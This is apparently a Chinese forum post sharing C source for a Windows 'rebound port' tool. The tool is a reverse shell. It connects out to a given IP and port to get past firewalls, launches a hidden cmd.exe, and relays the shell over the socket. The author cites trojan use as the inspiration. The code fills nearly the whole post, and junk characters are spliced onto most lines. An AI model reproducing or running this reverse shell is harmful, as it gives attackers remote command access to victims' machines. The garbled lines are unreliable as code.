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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i+3fhV  
2S3lsp5!  
/* ============================== -Ng'<7  
Rebound port in Windows NT Flxvhl)L  
By wind,2006/7 6R;3%-D  
===============================*/ q"qo.TPh|$  
#include E\ 8  
#include lq:}0<k  
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#pragma comment(lib,"wsock32.lib") 6M.;@t,Y  
LA3<=R]  
void OutputShell(); )D-c]+yt  
SOCKET sClient; ~tFqb<n  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <|Yj%f  
qZEoiNH(Tj  
void main(int argc,char **argv) H5cV5E0  
{ wd@aw/  
WSADATA stWsaData; 3Ug  
int nRet; 6 9y;`15  
SOCKADDR_IN stSaiClient,stSaiServer; S{Hx]\  
gy: %l  
if(argc != 3) i`(^[h ?;  
{  Qe"pW\  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?rX]x8iP  
return; ,6^ znOt  
} C`jM0Q  
d'6|:z9c  
WSAStartup(MAKEWORD(2,2),&stWsaData); w@\vHH.;V  
hG~reVNf  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @Y,7'0U  
hJz):d>Im  
stSaiClient.sin_family = AF_INET; ?Ucu#UO  
stSaiClient.sin_port = htons(0); HBE.F&C88  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AGP("U'u  
^\:8w0Y^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "& Dx=Yf  
{ Z BUArIC  
printf("Bind Socket Failed!\n"); {yU+)t(.  
return;  >YtdA  
} mV^Zy  
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stSaiServer.sin_family = AF_INET; F(#rQ_z]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S\6[EQ65  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,bE$| x'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fEE /-}d  
{ Z+`{7G?4m  
printf("Connect Error!"); +z9@:L  
return; hd V1nS$  
} tGdf/aTjy  
OutputShell(); %Pqk63QF  
} j;_c+w!P  
Q zZ;Ob]'  
void OutputShell() :4S%'d7  
{ pCpb;<JG  
char szBuff[1024]; RC|!+ TD  
SECURITY_ATTRIBUTES stSecurityAttributes; IPSF]"}~  
OSVERSIONINFO stOsversionInfo; w=h1pwY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f~OU*P>V@  
STARTUPINFO stStartupInfo; Xb !MaNm)  
char *szShell; kPBV6+d~  
PROCESS_INFORMATION stProcessInformation; {K{EOB_u  
unsigned long lBytesRead; {j{+0V  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |sZ!  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t%zpNd2lk  
stSecurityAttributes.lpSecurityDescriptor = 0; ,h\sF#|  
stSecurityAttributes.bInheritHandle = TRUE; 1T_QX9  
h0oMTiA  
>R{qESmP=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1 Q-bYJG  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8l?piig#  
x6afI<dm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UX<Qcjm$e  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +bK.NcS  
stStartupInfo.wShowWindow = SW_HIDE; SjjIr ^  
stStartupInfo.hStdInput = hReadPipe; *{undZ?(>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v1k)hFjPK  
5m=I*.qE  
GetVersionEx(&stOsversionInfo); MC((M,3L  
K'iIJA*Sn  
switch(stOsversionInfo.dwPlatformId) #eU.p&Zc  
{ M}_ i52  
case 1: jJ4qR:]  
szShell = "command.com"; 8By,#T".  
break; &Lt[WT$  
default: I]Tsz'T!9  
szShell = "cmd.exe"; 5 )2:stT73  
break; 3lLMu B+  
} BYW^/B Y)  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]Fvm 7V  
5WqXo{S  
send(sClient,szMsg,77,0); O?8Ni=]  
while(1) 5G0 $  
{ YI-O{U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b 6t}{_7  
if(lBytesRead) Iq+>qX   
{ D47R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #zrTY9m7  
send(sClient,szBuff,lBytesRead,0); e}@)z3Q<l  
} cw&Hgjj2  
else .*$OQA  
{ O9'x -A%  
lBytesRead=recv(sClient,szBuff,1024,0); ; UiwH  
if(lBytesRead<=0) break; MRr</o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N4;7gSc"  
} 3ZTE<zRQ  
} {ng"=3+n  
4`Nt{  
return; vvB(r!  
}
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